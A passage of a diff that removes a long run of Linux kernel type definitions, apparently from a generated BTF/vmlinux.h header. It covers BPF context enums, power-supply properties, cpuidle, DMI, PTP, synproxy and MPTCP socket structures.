- __ctx_convertBPF_PROG_TYPE_CGROUP_SOCK_ADDR = 6, - __ctx_convertBPF_PROG_TYPE_LWT_IN = 7, - __ctx_convertBPF_PROG_TYPE_LWT_OUT = 8, - __ctx_convertBPF_PROG_TYPE_LWT_XMIT = 9, - __ctx_convertBPF_PROG_TYPE_LWT_SEG6LOCAL = 10, - __ctx_convertBPF_PROG_TYPE_SOCK_OPS = 11, - __ctx_convertBPF_PROG_TYPE_SK_SKB = 12, - __ctx_convertBPF_PROG_TYPE_SK_MSG = 13, - __ctx_convertBPF_PROG_TYPE_FLOW_DISSECTOR = 14, - __ctx_convertBPF_PROG_TYPE_KPROBE = 15, - __ctx_convertBPF_PROG_TYPE_TRACEPOINT = 16, - __ctx_convertBPF_PROG_TYPE_PERF_EVENT = 17, - __ctx_convertBPF_PROG_TYPE_RAW_TRACEPOINT = 18, - __ctx_convertBPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 19, - __ctx_convertBPF_PROG_TYPE_TRACING = 20, - __ctx_convertBPF_PROG_TYPE_CGROUP_DEVICE = 21, - __ctx_convertBPF_PROG_TYPE_CGROUP_SYSCTL = 22, - __ctx_convertBPF_PROG_TYPE_CGROUP_SOCKOPT = 23, - __ctx_convertBPF_PROG_TYPE_LIRC_MODE2 = 24, - __ctx_convertBPF_PROG_TYPE_SK_REUSEPORT = 25, - __ctx_convertBPF_PROG_TYPE_SK_LOOKUP = 26, - __ctx_convertBPF_PROG_TYPE_STRUCT_OPS = 27, - __ctx_convertBPF_PROG_TYPE_EXT = 28, - __ctx_convertBPF_PROG_TYPE_LSM = 29, - __ctx_convertBPF_PROG_TYPE_SYSCALL = 30, - __ctx_convert_unused = 31, -}; - -enum bpf_struct_walk_result { - WALK_SCALAR = 0, - WALK_PTR = 1, - WALK_STRUCT = 2, -}; - -struct btf_show_snprintf { - struct btf_show show; - int len_left; - int len; -}; - -enum { - BTF_MODULE_F_LIVE = 1, -}; - -struct btf_module { - struct list_head list; - struct module *module; - struct btf *btf; - struct bin_attribute *sysfs_attr; - int flags; -}; - -typedef u64 (*btf_bpf_btf_find_by_name_kind)(char *, int, u32, int); - -struct bpf_cand_cache { - const char *name; - u32 name_len; - u16 kind; - u16 cnt; - struct { - const struct btf *btf; - u32 id; - } cands[0]; -}; - -struct sha256_state { - u32 state[8]; - u64 count; - u8 buf[64]; -}; - -struct gen_pool_chunk { - struct list_head next_chunk; - atomic_long_t avail; - phys_addr_t phys_addr; - void *owner; - long unsigned int start_addr; - long unsigned int end_addr; - long unsigned int bits[0]; -}; - -struct genpool_data_align { - int align; -}; - -struct genpool_data_fixed { - long unsigned int offset; -}; - -struct fb_modelist { - struct list_head list; - struct fb_videomode mode; -}; - -struct tty_file_private { - struct tty_struct *tty; - struct file *file; - struct list_head list; -}; - -struct req { - struct req *next; - struct completion done; - int err; - const char *name; - umode_t mode; - kuid_t uid; - kgid_t gid; - struct device *dev; -}; - -enum { - POWER_SUPPLY_STATUS_UNKNOWN = 0, - POWER_SUPPLY_STATUS_CHARGING = 1, - POWER_SUPPLY_STATUS_DISCHARGING = 2, - POWER_SUPPLY_STATUS_NOT_CHARGING = 3, - POWER_SUPPLY_STATUS_FULL = 4, -}; - -enum { - POWER_SUPPLY_CHARGE_TYPE_UNKNOWN = 0, - POWER_SUPPLY_CHARGE_TYPE_NONE = 1, - POWER_SUPPLY_CHARGE_TYPE_TRICKLE = 2, - POWER_SUPPLY_CHARGE_TYPE_FAST = 3, - POWER_SUPPLY_CHARGE_TYPE_STANDARD = 4, - POWER_SUPPLY_CHARGE_TYPE_ADAPTIVE = 5, - POWER_SUPPLY_CHARGE_TYPE_CUSTOM = 6, - POWER_SUPPLY_CHARGE_TYPE_LONGLIFE = 7, - POWER_SUPPLY_CHARGE_TYPE_BYPASS = 8, -}; - -enum { - POWER_SUPPLY_HEALTH_UNKNOWN = 0, - POWER_SUPPLY_HEALTH_GOOD = 1, - POWER_SUPPLY_HEALTH_OVERHEAT = 2, - POWER_SUPPLY_HEALTH_DEAD = 3, - POWER_SUPPLY_HEALTH_OVERVOLTAGE = 4, - POWER_SUPPLY_HEALTH_UNSPEC_FAILURE = 5, - POWER_SUPPLY_HEALTH_COLD = 6, - POWER_SUPPLY_HEALTH_WATCHDOG_TIMER_EXPIRE = 7, - POWER_SUPPLY_HEALTH_SAFETY_TIMER_EXPIRE = 8, - POWER_SUPPLY_HEALTH_OVERCURRENT = 9, - POWER_SUPPLY_HEALTH_CALIBRATION_REQUIRED = 10, - POWER_SUPPLY_HEALTH_WARM = 11, - POWER_SUPPLY_HEALTH_COOL = 12, - POWER_SUPPLY_HEALTH_HOT = 13, - POWER_SUPPLY_HEALTH_NO_BATTERY = 14, -}; - -enum { - POWER_SUPPLY_TECHNOLOGY_UNKNOWN = 0, - POWER_SUPPLY_TECHNOLOGY_NiMH = 1, - POWER_SUPPLY_TECHNOLOGY_LION = 2, - POWER_SUPPLY_TECHNOLOGY_LIPO = 3, - POWER_SUPPLY_TECHNOLOGY_LiFe = 4, - POWER_SUPPLY_TECHNOLOGY_NiCd = 5, - POWER_SUPPLY_TECHNOLOGY_LiMn = 6, -}; - -enum { - POWER_SUPPLY_CAPACITY_LEVEL_UNKNOWN = 0, - POWER_SUPPLY_CAPACITY_LEVEL_CRITICAL = 1, - POWER_SUPPLY_CAPACITY_LEVEL_LOW = 2, - POWER_SUPPLY_CAPACITY_LEVEL_NORMAL = 3, - POWER_SUPPLY_CAPACITY_LEVEL_HIGH = 4, - POWER_SUPPLY_CAPACITY_LEVEL_FULL = 5, -}; - -enum { - POWER_SUPPLY_SCOPE_UNKNOWN = 0, - POWER_SUPPLY_SCOPE_SYSTEM = 1, - POWER_SUPPLY_SCOPE_DEVICE = 2, -}; - -enum power_supply_property { - POWER_SUPPLY_PROP_STATUS = 0, - POWER_SUPPLY_PROP_CHARGE_TYPE = 1, - POWER_SUPPLY_PROP_HEALTH = 2, - POWER_SUPPLY_PROP_PRESENT = 3, - POWER_SUPPLY_PROP_ONLINE = 4, - POWER_SUPPLY_PROP_AUTHENTIC = 5, - POWER_SUPPLY_PROP_TECHNOLOGY = 6, - POWER_SUPPLY_PROP_CYCLE_COUNT = 7, - POWER_SUPPLY_PROP_VOLTAGE_MAX = 8, - POWER_SUPPLY_PROP_VOLTAGE_MIN = 9, - POWER_SUPPLY_PROP_VOLTAGE_MAX_DESIGN = 10, - POWER_SUPPLY_PROP_VOLTAGE_MIN_DESIGN = 11, - POWER_SUPPLY_PROP_VOLTAGE_NOW = 12, - POWER_SUPPLY_PROP_VOLTAGE_AVG = 13, - POWER_SUPPLY_PROP_VOLTAGE_OCV = 14, - POWER_SUPPLY_PROP_VOLTAGE_BOOT = 15, - POWER_SUPPLY_PROP_CURRENT_MAX = 16, - POWER_SUPPLY_PROP_CURRENT_NOW = 17, - POWER_SUPPLY_PROP_CURRENT_AVG = 18, - POWER_SUPPLY_PROP_CURRENT_BOOT = 19, - POWER_SUPPLY_PROP_POWER_NOW = 20, - POWER_SUPPLY_PROP_POWER_AVG = 21, - POWER_SUPPLY_PROP_CHARGE_FULL_DESIGN = 22, - POWER_SUPPLY_PROP_CHARGE_EMPTY_DESIGN = 23, - POWER_SUPPLY_PROP_CHARGE_FULL = 24, - POWER_SUPPLY_PROP_CHARGE_EMPTY = 25, - POWER_SUPPLY_PROP_CHARGE_NOW = 26, - POWER_SUPPLY_PROP_CHARGE_AVG = 27, - POWER_SUPPLY_PROP_CHARGE_COUNTER = 28, - POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT = 29, - POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT_MAX = 30, - POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE = 31, - POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE_MAX = 32, - POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT = 33, - POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT_MAX = 34, - POWER_SUPPLY_PROP_CHARGE_CONTROL_START_THRESHOLD = 35, - POWER_SUPPLY_PROP_CHARGE_CONTROL_END_THRESHOLD = 36, - POWER_SUPPLY_PROP_CHARGE_BEHAVIOUR = 37, - POWER_SUPPLY_PROP_INPUT_CURRENT_LIMIT = 38, - POWER_SUPPLY_PROP_INPUT_VOLTAGE_LIMIT = 39, - POWER_SUPPLY_PROP_INPUT_POWER_LIMIT = 40, - POWER_SUPPLY_PROP_ENERGY_FULL_DESIGN = 41, - POWER_SUPPLY_PROP_ENERGY_EMPTY_DESIGN = 42, - POWER_SUPPLY_PROP_ENERGY_FULL = 43, - POWER_SUPPLY_PROP_ENERGY_EMPTY = 44, - POWER_SUPPLY_PROP_ENERGY_NOW = 45, - POWER_SUPPLY_PROP_ENERGY_AVG = 46, - POWER_SUPPLY_PROP_CAPACITY = 47, - POWER_SUPPLY_PROP_CAPACITY_ALERT_MIN = 48, - POWER_SUPPLY_PROP_CAPACITY_ALERT_MAX = 49, - POWER_SUPPLY_PROP_CAPACITY_ERROR_MARGIN = 50, - POWER_SUPPLY_PROP_CAPACITY_LEVEL = 51, - POWER_SUPPLY_PROP_TEMP = 52, - POWER_SUPPLY_PROP_TEMP_MAX = 53, - POWER_SUPPLY_PROP_TEMP_MIN = 54, - POWER_SUPPLY_PROP_TEMP_ALERT_MIN = 55, - POWER_SUPPLY_PROP_TEMP_ALERT_MAX = 56, - POWER_SUPPLY_PROP_TEMP_AMBIENT = 57, - POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MIN = 58, - POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MAX = 59, - POWER_SUPPLY_PROP_TIME_TO_EMPTY_NOW = 60, - POWER_SUPPLY_PROP_TIME_TO_EMPTY_AVG = 61, - POWER_SUPPLY_PROP_TIME_TO_FULL_NOW = 62, - POWER_SUPPLY_PROP_TIME_TO_FULL_AVG = 63, - POWER_SUPPLY_PROP_TYPE = 64, - POWER_SUPPLY_PROP_USB_TYPE = 65, - POWER_SUPPLY_PROP_SCOPE = 66, - POWER_SUPPLY_PROP_PRECHARGE_CURRENT = 67, - POWER_SUPPLY_PROP_CHARGE_TERM_CURRENT = 68, - POWER_SUPPLY_PROP_CALIBRATE = 69, - POWER_SUPPLY_PROP_MANUFACTURE_YEAR = 70, - POWER_SUPPLY_PROP_MANUFACTURE_MONTH = 71, - POWER_SUPPLY_PROP_MANUFACTURE_DAY = 72, - POWER_SUPPLY_PROP_MODEL_NAME = 73, - POWER_SUPPLY_PROP_MANUFACTURER = 74, - POWER_SUPPLY_PROP_SERIAL_NUMBER = 75, -}; - -enum power_supply_type { - POWER_SUPPLY_TYPE_UNKNOWN = 0, - POWER_SUPPLY_TYPE_BATTERY = 1, - POWER_SUPPLY_TYPE_UPS = 2, - POWER_SUPPLY_TYPE_MAINS = 3, - POWER_SUPPLY_TYPE_USB = 4, - POWER_SUPPLY_TYPE_USB_DCP = 5, - POWER_SUPPLY_TYPE_USB_CDP = 6, - POWER_SUPPLY_TYPE_USB_ACA = 7, - POWER_SUPPLY_TYPE_USB_TYPE_C = 8, - POWER_SUPPLY_TYPE_USB_PD = 9, - POWER_SUPPLY_TYPE_USB_PD_DRP = 10, - POWER_SUPPLY_TYPE_APPLE_BRICK_ID = 11, - POWER_SUPPLY_TYPE_WIRELESS = 12, -}; - -enum power_supply_usb_type { - POWER_SUPPLY_USB_TYPE_UNKNOWN = 0, - POWER_SUPPLY_USB_TYPE_SDP = 1, - POWER_SUPPLY_USB_TYPE_DCP = 2, - POWER_SUPPLY_USB_TYPE_CDP = 3, - POWER_SUPPLY_USB_TYPE_ACA = 4, - POWER_SUPPLY_USB_TYPE_C = 5, - POWER_SUPPLY_USB_TYPE_PD = 6, - POWER_SUPPLY_USB_TYPE_PD_DRP = 7, - POWER_SUPPLY_USB_TYPE_PD_PPS = 8, - POWER_SUPPLY_USB_TYPE_APPLE_BRICK_ID = 9, -}; - -enum power_supply_charge_behaviour { - POWER_SUPPLY_CHARGE_BEHAVIOUR_AUTO = 0, - POWER_SUPPLY_CHARGE_BEHAVIOUR_INHIBIT_CHARGE = 1, - POWER_SUPPLY_CHARGE_BEHAVIOUR_FORCE_DISCHARGE = 2, -}; - -union power_supply_propval { - int intval; - const char *strval; -}; - -struct power_supply; - -struct power_supply_desc { - const char *name; - enum power_supply_type type; - const enum power_supply_usb_type *usb_types; - size_t num_usb_types; - const enum power_supply_property *properties; - size_t num_properties; - int (*get_property)(struct power_supply *, enum power_supply_property, union power_supply_propval *); - int (*set_property)(struct power_supply *, enum power_supply_property, const union power_supply_propval *); - int (*property_is_writeable)(struct power_supply *, enum power_supply_property); - void (*external_power_changed)(struct power_supply *); - void (*set_charged)(struct power_supply *); - bool no_thermal; - int use_for_apm; -}; - -struct power_supply { - const struct power_supply_desc *desc; - char **supplied_to; - size_t num_supplicants; - char **supplied_from; - size_t num_supplies; - struct device_node *of_node; - void *drv_data; - struct device dev; - struct work_struct changed_work; - struct delayed_work deferred_register_work; - spinlock_t changed_lock; - bool changed; - bool initialized; - bool removing; - atomic_t use_cnt; - struct thermal_zone_device *tzd; - struct thermal_cooling_device *tcd; -}; - -struct power_supply_attr { - const char *prop_name; - char attr_name[31]; - struct device_attribute dev_attr; - const char * const *text_values; - int text_values_len; -}; - -struct cpuidle_state_usage { - long long unsigned int disable; - long long unsigned int usage; - u64 time_ns; - long long unsigned int above; - long long unsigned int below; - long long unsigned int rejected; - long long unsigned int s2idle_usage; - long long unsigned int s2idle_time; -}; - -struct cpuidle_device; - -struct cpuidle_driver; - -struct cpuidle_state { - char name[16]; - char desc[32]; - s64 exit_latency_ns; - s64 target_residency_ns; - unsigned int flags; - unsigned int exit_latency; - int power_usage; - unsigned int target_residency; - int (*enter)(struct cpuidle_device *, struct cpuidle_driver *, int); - int (*enter_dead)(struct cpuidle_device *, int); - int (*enter_s2idle)(struct cpuidle_device *, struct cpuidle_driver *, int); -}; - -struct cpuidle_driver_kobj; - -struct cpuidle_state_kobj; - -struct cpuidle_device_kobj; - -struct cpuidle_device { - unsigned int registered: 1; - unsigned int enabled: 1; - unsigned int poll_time_limit: 1; - unsigned int cpu; - ktime_t next_hrtimer; - int last_state_idx; - u64 last_residency_ns; - u64 poll_limit_ns; - u64 forced_idle_latency_limit_ns; - struct cpuidle_state_usage states_usage[10]; - struct cpuidle_state_kobj *kobjs[10]; - struct cpuidle_driver_kobj *kobj_driver; - struct cpuidle_device_kobj *kobj_dev; - struct list_head device_list; -}; - -struct cpuidle_driver { - const char *name; - struct module *owner; - unsigned int bctimer: 1; - struct cpuidle_state states[10]; - int state_count; - int safe_state_index; - struct cpumask *cpumask; - const char *governor; -}; - -struct cpuidle_governor { - char name[16]; - struct list_head governor_list; - unsigned int rating; - int (*enable)(struct cpuidle_driver *, struct cpuidle_device *); - void (*disable)(struct cpuidle_driver *, struct cpuidle_device *); - int (*select)(struct cpuidle_driver *, struct cpuidle_device *, bool *); - void (*reflect)(struct cpuidle_device *, int); -}; - -struct ladder_device_state { - struct { - u32 promotion_count; - u32 demotion_count; - u64 promotion_time_ns; - u64 demotion_time_ns; - } threshold; - struct { - int promotion_count; - int demotion_count; - } stats; -}; - -struct ladder_device { - struct ladder_device_state states[10]; -}; - -enum dmi_device_type { - DMI_DEV_TYPE_ANY = 0, - DMI_DEV_TYPE_OTHER = 1, - DMI_DEV_TYPE_UNKNOWN = 2, - DMI_DEV_TYPE_VIDEO = 3, - DMI_DEV_TYPE_SCSI = 4, - DMI_DEV_TYPE_ETHERNET = 5, - DMI_DEV_TYPE_TOKENRING = 6, - DMI_DEV_TYPE_SOUND = 7, - DMI_DEV_TYPE_PATA = 8, - DMI_DEV_TYPE_SATA = 9, - DMI_DEV_TYPE_SAS = 10, - DMI_DEV_TYPE_IPMI = -1, - DMI_DEV_TYPE_OEM_STRING = -2, - DMI_DEV_TYPE_DEV_ONBOARD = -3, - DMI_DEV_TYPE_DEV_SLOT = -4, -}; - -enum dmi_entry_type { - DMI_ENTRY_BIOS = 0, - DMI_ENTRY_SYSTEM = 1, - DMI_ENTRY_BASEBOARD = 2, - DMI_ENTRY_CHASSIS = 3, - DMI_ENTRY_PROCESSOR = 4, - DMI_ENTRY_MEM_CONTROLLER = 5, - DMI_ENTRY_MEM_MODULE = 6, - DMI_ENTRY_CACHE = 7, - DMI_ENTRY_PORT_CONNECTOR = 8, - DMI_ENTRY_SYSTEM_SLOT = 9, - DMI_ENTRY_ONBOARD_DEVICE = 10, - DMI_ENTRY_OEMSTRINGS = 11, - DMI_ENTRY_SYSCONF = 12, - DMI_ENTRY_BIOS_LANG = 13, - DMI_ENTRY_GROUP_ASSOC = 14, - DMI_ENTRY_SYSTEM_EVENT_LOG = 15, - DMI_ENTRY_PHYS_MEM_ARRAY = 16, - DMI_ENTRY_MEM_DEVICE = 17, - DMI_ENTRY_32_MEM_ERROR = 18, - DMI_ENTRY_MEM_ARRAY_MAPPED_ADDR = 19, - DMI_ENTRY_MEM_DEV_MAPPED_ADDR = 20, - DMI_ENTRY_BUILTIN_POINTING_DEV = 21, - DMI_ENTRY_PORTABLE_BATTERY = 22, - DMI_ENTRY_SYSTEM_RESET = 23, - DMI_ENTRY_HW_SECURITY = 24, - DMI_ENTRY_SYSTEM_POWER_CONTROLS = 25, - DMI_ENTRY_VOLTAGE_PROBE = 26, - DMI_ENTRY_COOLING_DEV = 27, - DMI_ENTRY_TEMP_PROBE = 28, - DMI_ENTRY_ELECTRICAL_CURRENT_PROBE = 29, - DMI_ENTRY_OOB_REMOTE_ACCESS = 30, - DMI_ENTRY_BIS_ENTRY = 31, - DMI_ENTRY_SYSTEM_BOOT = 32, - DMI_ENTRY_MGMT_DEV = 33, - DMI_ENTRY_MGMT_DEV_COMPONENT = 34, - DMI_ENTRY_MGMT_DEV_THRES = 35, - DMI_ENTRY_MEM_CHANNEL = 36, - DMI_ENTRY_IPMI_DEV = 37, - DMI_ENTRY_SYS_POWER_SUPPLY = 38, - DMI_ENTRY_ADDITIONAL = 39, - DMI_ENTRY_ONBOARD_DEV_EXT = 40, - DMI_ENTRY_MGMT_CONTROLLER_HOST = 41, - DMI_ENTRY_INACTIVE = 126, - DMI_ENTRY_END_OF_TABLE = 127, -}; - -struct dmi_header { - u8 type; - u8 length; - u16 handle; -}; - -struct dmi_device { - struct list_head list; - int type; - const char *name; - void *device_data; -}; - -struct dmi_dev_onboard { - struct dmi_device dev; - int instance; - int segment; - int bus; - int devfn; -}; - -struct dmi_memdev_info { - const char *device; - const char *bank; - u64 size; - u16 handle; - u8 type; -}; - -enum { - VMGENID_SIZE = 16, -}; - -struct vmgenid_state { - u8 *next_id; - u8 this_id[16]; -}; - -struct clock_identity { - u8 id[8]; -}; - -struct port_identity { - struct clock_identity clock_identity; - __be16 port_number; -}; - -struct ptp_header { - u8 tsmt; - u8 ver; - __be16 message_length; - u8 domain_number; - u8 reserved1; - u8 flag_field[2]; - __be64 correction; - __be32 reserved2; - struct port_identity source_port_identity; - __be16 sequence_id; - u8 control; - u8 log_message_interval; -} __attribute__((packed)); - -struct nf_synproxy_info { - __u8 options; - __u8 wscale; - __u16 mss; -}; - -struct synproxy_stats { - unsigned int syn_received; - unsigned int cookie_invalid; - unsigned int cookie_valid; - unsigned int cookie_retrans; - unsigned int conn_reopened; -}; - -struct synproxy_net { - struct nf_conn *tmpl; - struct synproxy_stats *stats; - unsigned int hook_ref4; - unsigned int hook_ref6; -}; - -struct synproxy_options { - u8 options; - u8 wscale; - u16 mss_option; - u16 mss_encode; - u32 tsval; - u32 tsecr; -}; - -struct ipv6_rpl_sr_hdr { - __u8 nexthdr; - __u8 hdrlen; - __u8 type; - __u8 segments_left; - __u32 cmpre: 4; - __u32 cmpri: 4; - __u32 reserved: 4; - __u32 pad: 4; - __u32 reserved1: 16; - union { - struct in6_addr addr[0]; - __u8 data[0]; - } segments; -}; - -struct mptcp_mib { - long unsigned int mibs[52]; -}; - -struct mptcp_rm_list { - u8 ids[8]; - u8 nr; -}; - -struct mptcp_addr_info { - u8 id; - sa_family_t family; - __be16 port; - union { - struct in_addr addr; - struct in6_addr addr6; - }; -}; - -enum mptcp_event_type { - MPTCP_EVENT_UNSPEC = 0, - MPTCP_EVENT_CREATED = 1, - MPTCP_EVENT_ESTABLISHED = 2, - MPTCP_EVENT_CLOSED = 3, - MPTCP_EVENT_ANNOUNCED = 6, - MPTCP_EVENT_REMOVED = 7, - MPTCP_EVENT_SUB_ESTABLISHED = 10, - MPTCP_EVENT_SUB_CLOSED = 11, - MPTCP_EVENT_SUB_PRIORITY = 13, - MPTCP_EVENT_LISTENER_CREATED = 15, - MPTCP_EVENT_LISTENER_CLOSED = 16, -}; - -enum mptcp_pm_status { - MPTCP_PM_ADD_ADDR_RECEIVED = 0, - MPTCP_PM_ADD_ADDR_SEND_ACK = 1, - MPTCP_PM_RM_ADDR_RECEIVED = 2, - MPTCP_PM_ESTABLISHED = 3, - MPTCP_PM_SUBFLOW_ESTABLISHED = 4, - MPTCP_PM_ALREADY_ESTABLISHED = 5, - MPTCP_PM_MPC_ENDPOINT_ACCOUNTED = 6, -}; - -enum mptcp_pm_type { - MPTCP_PM_TYPE_KERNEL = 0, - MPTCP_PM_TYPE_USERSPACE = 1, - __MPTCP_PM_TYPE_NR = 2, - __MPTCP_PM_TYPE_MAX = 1, -}; - -enum mptcp_addr_signal_status { - MPTCP_ADD_ADDR_SIGNAL = 0, - MPTCP_ADD_ADDR_ECHO = 1, - MPTCP_RM_ADDR_SIGNAL = 2, -}; - -struct mptcp_pm_data { - struct mptcp_addr_info local; - struct mptcp_addr_info remote; - struct list_head anno_list; - struct list_head userspace_pm_local_addr_list; - spinlock_t lock; - u8 addr_signal; - bool server_side; - bool work_pending; - bool accept_addr; - bool accept_subflow; - bool remote_deny_join_id0; - u8 add_addr_signaled; - u8 add_addr_accepted; - u8 local_addr_used; - u8 pm_type; - u8 subflows; - u8 status; - long unsigned int id_avail_bitmap[4]; - struct mptcp_rm_list rm_list_tx; - struct mptcp_rm_list rm_list_rx; -}; - -struct mptcp_data_frag { - struct list_head list; - u64 data_seq; - u16 data_len; - u16 offset; - u16 overhead; - u16 already_sent; - struct page *page; -}; - -struct mptcp_sock { - struct inet_connection_sock sk; - u64 local_key; - u64 remote_key; - u64 write_seq; - u64 snd_nxt; - u64 ack_seq; - atomic64_t rcv_wnd_sent; - u64 rcv_data_fin_seq; - int rmem_fwd_alloc; - struct sock *last_snd; - int snd_burst; - int old_wspace; - u64 recovery_snd_nxt; - u64 snd_una; - u64 wnd_end; - long unsigned int timer_ival; - u32 token; - int rmem_released; - long unsigned int flags; - long unsigned int cb_flags; - long unsigned int push_pending; - bool recovery; - bool can_ack; - bool fully_established; - bool rcv_data_fin; - bool snd_data_fin_enable; - bool rcv_fastclose; - bool use_64bit_ack; - bool csum_enabled; - bool allow_infinite_fallback; - u8 mpc_endpoint_id; - u8 recvmsg_inq: 1; - u8 cork: 1; - u8 nodelay: 1; - u8 is_sendmsg: 1; - int connect_flags; - struct work_struct work; - struct sk_buff *ooo_last_skb; - struct rb_root out_of_order_queue; - struct sk_buff_head receive_queue; - struct list_head conn_list; - struct list_head rtx_queue; - struct mptcp_data_frag *first_pending; - struct list_head join_list; - struct socket *subflow; - struct sock *first; - struct mptcp_pm_data pm; - struct { - u32 space; - u32 copied; - u64 time; - u64 rtt_us; - } rcvq_space; - u32 setsockopt_seq; - char ca_name[16]; - struct mptcp_sock *dl_next; -}; - -enum mptcp_data_avail { - MPTCP_SUBFLOW_NODATA = 0, - MPTCP_SUBFLOW_DATA_AVAIL = 1, -}; - -struct mptcp_subflow_context { - struct list_head node; - union { - struct { - long unsigned int avg_pacing_rate; - u64 local_key; - u64 remote_key; - u64 idsn; - u64 map_seq; - u32 snd_isn; - u32 token; - u32 rel_write_seq; - u32 map_subflow_seq; - u32 ssn_offset; - u32 map_data_len; - __wsum map_data_csum; - u32 map_csum_len; - u32 request_mptcp: 1; - u32 request_join: 1; - u32 request_bkup: 1; - u32 mp_capable: 1; - u32 mp_join: 1; - u32 fully_established: 1; - u32 pm_notified: 1; - u32 conn_finished: 1; - u32 map_valid: 1; - u32 map_csum_reqd: 1; - u32 map_data_fin: 1; - u32 mpc_map: 1; - u32 backup: 1; - u32 send_mp_prio: 1; - u32 send_mp_fail: 1; - u32 send_fastclose: 1; - u32 send_infinite_map: 1; - u32 rx_eof: 1; - u32 remote_key_valid: 1; - u32 disposable: 1; - u32 stale: 1; - u32 local_id_valid: 1; - u32 valid_csum_seen: 1; - u32 is_mptfo: 1; - u32 __unused: 8; - enum mptcp_data_avail data_avail; - u32 remote_nonce; - u64 thmac; - u32 local_nonce; - u32 remote_token; - union { - u8 hmac[20]; - u64 iasn; - }; - u8 local_id; - u8 remote_id; - u8 reset_seen: 1; - u8 reset_transient: 1; - u8 reset_reason: 4; - u8 stale_count; - long int delegated_status; - long unsigned int fail_tout; - }; - struct { - long unsigned int avg_pacing_rate; - u64 local_key; - u64 remote_key; - u64 idsn; - u64 map_seq; - u32 snd_isn; - u32 token; - u32 rel_write_seq; - u32 map_subflow_seq; - u32 ssn_offset; - u32 map_data_len; - __wsum map_data_csum; - u32 map_csum_len; - u32 request_mptcp: 1; - u32 request_join: 1; - u32 request_bkup: 1; - u32 mp_capable: 1; - u32 mp_join: 1; - u32 fully_established: 1; - u32 pm_notified: 1; - u32 conn_finished: 1; - u32 map_valid: 1; - u32 map_csum_reqd: 1; - u32 map_data_fin: 1; - u32 mpc_map: 1; - u32 backup: 1; - u32 send_mp_prio: 1; - u32 send_mp_fail: 1; - u32 send_fastclose: 1; - u32 send_infinite_map: 1; - u32 rx_eof: 1; - u32 remote_key_valid: 1; - u32 disposable: 1; - u32 stale: 1; - u32 local_id_valid: 1; - u32 valid_csum_seen: 1; - u32 is_mptfo: 1; - u32 __unused: 8; - enum mptcp_data_avail data_avail; - u32 remote_nonce; - u64 thmac; - u32 local_nonce; - u32 remote_token; - union { - u8 hmac[20]; - u64 iasn; - }; - u8 local_id; - u8 remote_id; - u8 reset_seen: 1; - u8 reset_transient: 1; - u8 reset_reason: 4; - u8 stale_count; - long int delegated_status; - long unsigned int fail_tout; - } reset; - }; - struct list_head delegated_node; - u32 setsockopt_seq; - u32 stale_rcv_tstamp; - struct sock *tcp_sock; - struct sock *conn; - const struct inet_connection_sock_af_ops *icsk_af_ops; - void (*tcp_state_change)(struct sock *); - void (*tcp_error_report)(struct sock *); - struct callback_head rcu; -}; - -enum linux_mptcp_mib_field { - MPTCP_MIB_NUM = 0, - MPTCP_MIB_MPCAPABLEPASSIVE = 1, - MPTCP_MIB_MPCAPABLEACTIVE = 2, - MPTCP_MIB_MPCAPABLEACTIVEACK = 3, - MPTCP_MIB_MPCAPABLEPASSIVEACK = 4, - MPTCP_MIB_MPCAPABLEPASSIVEFALLBACK = 5, - MPTCP_MIB_MPCAPABLEACTIVEFALLBACK = 6, - MPTCP_MIB_TOKENFALLBACKINIT = 7, - MPTCP_MIB_RETRANSSEGS = 8, - MPTCP_MIB_JOINNOTOKEN = 9, - MPTCP_MIB_JOINSYNRX = 10, - MPTCP_MIB_JOINSYNACKRX = 11, - MPTCP_MIB_JOINSYNACKMAC = 12, - MPTCP_MIB_JOINACKRX = 13, - MPTCP_MIB_JOINACKMAC = 14, - MPTCP_MIB_DSSNOMATCH = 15, - MPTCP_MIB_INFINITEMAPTX = 16, - MPTCP_MIB_INFINITEMAPRX = 17, - MPTCP_MIB_DSSTCPMISMATCH = 18, - MPTCP_MIB_DATACSUMERR = 19, - MPTCP_MIB_OFOQUEUETAIL = 20, - MPTCP_MIB_OFOQUEUE = 21, - MPTCP_MIB_OFOMERGE = 22, - MPTCP_MIB_NODSSWINDOW = 23, - MPTCP_MIB_DUPDATA = 24, - MPTCP_MIB_ADDADDR = 25, - MPTCP_MIB_ECHOADD = 26, - MPTCP_MIB_PORTADD = 27, - MPTCP_MIB_ADDADDRDROP = 28, - MPTCP_MIB_JOINPORTSYNRX = 29, - MPTCP_MIB_JOINPORTSYNACKRX = 30, - MPTCP_MIB_JOINPORTACKRX = 31, - MPTCP_MIB_MISMATCHPORTSYNRX = 32, - MPTCP_MIB_MISMATCHPORTACKRX = 33, - MPTCP_MIB_RMADDR = 34, - MPTCP_MIB_RMADDRDROP = 35, - MPTCP_MIB_RMSUBFLOW = 36, - MPTCP_MIB_MPPRIOTX = 37, - MPTCP_MIB_MPPRIORX = 38, - MPTCP_MIB_MPFAILTX = 39, - MPTCP_MIB_MPFAILRX = 40, - MPTCP_MIB_MPFASTCLOSETX = 41, - MPTCP_MIB_MPFASTCLOSERX = 42, - MPTCP_MIB_MPRSTTX = 43, - MPTCP_MIB_MPRSTRX = 44, - MPTCP_MIB_RCVPRUNED = 45, - MPTCP_MIB_SUBFLOWSTALE = 46, - MPTCP_MIB_SUBFLOWRECOVER = 47, - MPTCP_MIB_SNDWNDSHARED = 48, - MPTCP_MIB_RCVWNDSHARED = 49, - MPTCP_MIB_RCVWNDCONFLICTUPDATE = 50, - MPTCP_MIB_RCVWNDCONFLICT = 51, - __MPTCP_MIB_MAX = 52, -}; - -struct mptcp_pm_add_entry; - -struct optimistic_spin_node { - struct optimistic_spin_node *next; - struct optimistic_spin_node *prev; - int locked; - int cpu; -}; - -struct tasklet_struct { - struct tasklet_struct *next; - long unsigned int state; - atomic_t count; - bool use_callback; - union { - void (*func)(long unsigned int); - void (*callback)(struct tasklet_struct *); - }; - long unsigned int data; -}; - -enum { - TASKLET_STATE_SCHED = 0, - TASKLET_STATE_RUN = 1, -}; - -enum { - IRQS_AUTODETECT = 1, - IRQS_SPURIOUS_DISABLED = 2, - 